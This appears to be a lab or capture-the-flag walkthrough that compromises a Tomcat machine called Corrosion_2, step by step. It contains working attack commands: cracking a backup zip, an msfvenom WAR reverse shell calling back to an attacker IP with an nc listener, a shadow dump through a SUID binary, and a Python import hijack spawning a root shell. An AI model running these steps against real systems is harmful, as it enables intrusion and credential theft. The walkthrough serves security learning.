Corrosion_2 is a Tomcat‑based machine where enumeration quickly reveals a backup archive containing Tomcat
credentials.
A WAR reverse shell provides initial access, followed by pivoting into a local user and escalating privileges
through two separate misconfigurations: a SUID binary capable of reading /etc/shadow, and a Python
library hijacking opportunity.
Target: 10.10.10.12
Initial vector: exposed backup.zip → Tomcat Manager → WAR reverse shell
Lateral movement: user password reuse
Privilege escalation: SUID binary → shadow dump → Python library hijack
$ nikto -url http://10.10.10.12:8080
Findings:
/readme.txt → reveals username randy/backup.zip → downloadable backup archive$ zip2john backup.zip > hash.txt $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt -> @administrator_hi5
Extract the archive:
$ 7z x backup.zip
Inside the backup:
backup/tomcat-users.xml
Credentials recovered:
admin | manager : melehifokivai
Login to Tomcat Manager:
http://10.10.10.12:8080/manager/html
Create a WAR payload:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.9 LPORT=443 \ -f war -o revshell.war
Listener:
$ nc -nlvp 443
Upload and deploy the WAR file via Tomcat Manager, then visit:
http://10.10.10.12:8080/revshell/
A shell is obtained.
Inspect /etc/passwd and attempt known credentials:
$ su jaye Password: melehifokivai
User jaye shell obtained.
Enumerate SUID binaries:
$ find / -perm -4000 2>/dev/null
A suspicious binary appears in /home/jaye/Files/look.
Checking GTFOBins reveals it can read arbitrary files.
Dump /etc/shadow:
$ look '' /etc/shadow
Extract randy’s hash and crack it:
$ john randy_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Switch user:
$ su randy
Check sudo permissions:
$ sudo -l -> (root) NOPASSWD: /home/randy/randombase64.py
The script imports base64 without specifying a full path.
Hijack the import by creating a malicious base64.py earlier in the Python path.
Locate the real library:
$ find / -name "base64.py" 2>/dev/null -> /usr/lib/python3.8/base64.py
Modify it (or create a malicious version in the working directory):
import os
os.system("/bin/bash -i")
Execute with sudo:
$ sudo python3 /home/randy/randombase64.py
A root shell is spawned.
Corrosion_2 combines several classic misconfigurations: exposed Tomcat backups, password reuse, SUID file abuse, and Python library hijacking. The machine demonstrates how a single leaked archive can cascade into full system compromise.